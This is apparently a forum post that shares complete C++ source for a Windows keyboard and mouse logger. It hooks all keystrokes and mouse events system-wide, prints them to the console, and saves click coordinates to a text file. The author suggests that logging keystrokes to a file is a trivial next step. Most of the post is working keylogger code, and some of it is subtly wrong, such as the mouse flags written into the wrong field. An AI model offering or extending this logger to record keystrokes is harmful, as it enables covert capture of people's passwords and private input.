Since someone requested a mouseclick logger, I created a mouse and keyboard logger in C++
Code:
#include <iostream>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <thread>
#include <chrono>
#include <fstream>
#pragma comment(lib, "user32.lib")
std::string path = "C:\\test\\clicks.txt";
HHOOK kHook = NULL;
HHOOK mHook = NULL;
using namespace std;
void UpdateKeyState(BYTE *keystate, int keycode){
keystate[keycode] = GetKeyState(keycode);
}
void MoveMouse(int x, int y){
MOUSEINPUT m;
m.dx = x*(65536/GetSystemMetrics(SM_CXSCREEN));//x being coord in pixels
m.dy = y*(65536/GetSystemMetrics(SM_CYSCREEN));//y being coord in pixels
m.dwExtraInfo = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE;
INPUT inPut = {};
inPut.type = 0;
inPut.mi = m;
std::this_thread::sleep_for(std::chrono::milliseconds(2));
SetCursorPos(x, y);
SendInput(1, &inPut, sizeof(inPut));
}
LRESULT CALLBACK LowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam){
//WARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, WM_SYSKEYUP
//LPARAM is the key information
cout << "key pressed";
KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
wchar_t buffer[5];
//get the keyboard state
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
UpdateKeyState(keyboard_state, VK_SHIFT);
UpdateKeyState(keyboard_state, VK_CAPITAL);
UpdateKeyState(keyboard_state, VK_CONTROL);
UpdateKeyState(keyboard_state, VK_MENU);
//Get keyboard layout
HKL keyboard_layout = GetKeyboardLayout(0);
//Get the name
char lpszName [0x100] = {0};
DWORD dwMsg = 1;
dwMsg += cKey.scanCode << 16;
dwMsg += cKey.flags << 24;
int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName, 255);
//convert Key Info
int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer, 4, 0, keyboard_layout);
buffer[4] = L'\0';
//print
char ch[260];
char DefChar = ' ';
WideCharToMultiByte(CP_ACP,0,buffer,-1, ch,260,&DefChar, NULL);
string s = ch;
cout << "key: " << cKey.vkCode << " " << ch << endl;
return CallNextHookEx(kHook, nCode, wParam, lParam);
}
void saveClick(std::string path, int x, int y){
ofstream file;
file.open (path.c_str(), std::ios_base::app);
if(file.is_open()){
file << "X: " << x << " Y: " << y << std::endl;
file.close();
}
else
std::cout << "unable to open file" << std::endl;
}
LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam){
MSLLHOOKSTRUCT lP = *((MSLLHOOKSTRUCT*)lParam);
if(wParam == WM_MOUSEMOVE){
int x = lP.pt.x;
int y = lP.pt.y;
cout << "x: " << x << " y: " << y << endl; //comment this out, if you dont want to cout the mouse position every time it moves
}
if(wParam == WM_LBUTTONDOWN){
int x = lP.pt.x;
int y = lP.pt.y;
saveClick(path, x, y);
}
return CallNextHookEx(mHook, nCode, wParam, lParam);
}
int main(){
MSG msg;
kHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyBoardProc, NULL, 0);
mHook = SetWindowsHookEx(WH_MOUSE_LL, LowLevelMouseProc, NULL, 0);
if(kHook == NULL){
cout << "KeyBoard-Hook failed!";
}
if(mHook == NULL){
cout << "Mouse-Hook failed!";
}
while(GetMessage(&msg, NULL, 0, 0) > 0){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
It can print the mouse coordinates to the screen, whenever the mouse moves and it also prints pressed keys. It saves mouseclicks to a txt file. Saving keyboardstrokes to a file should be no problem with the code provided.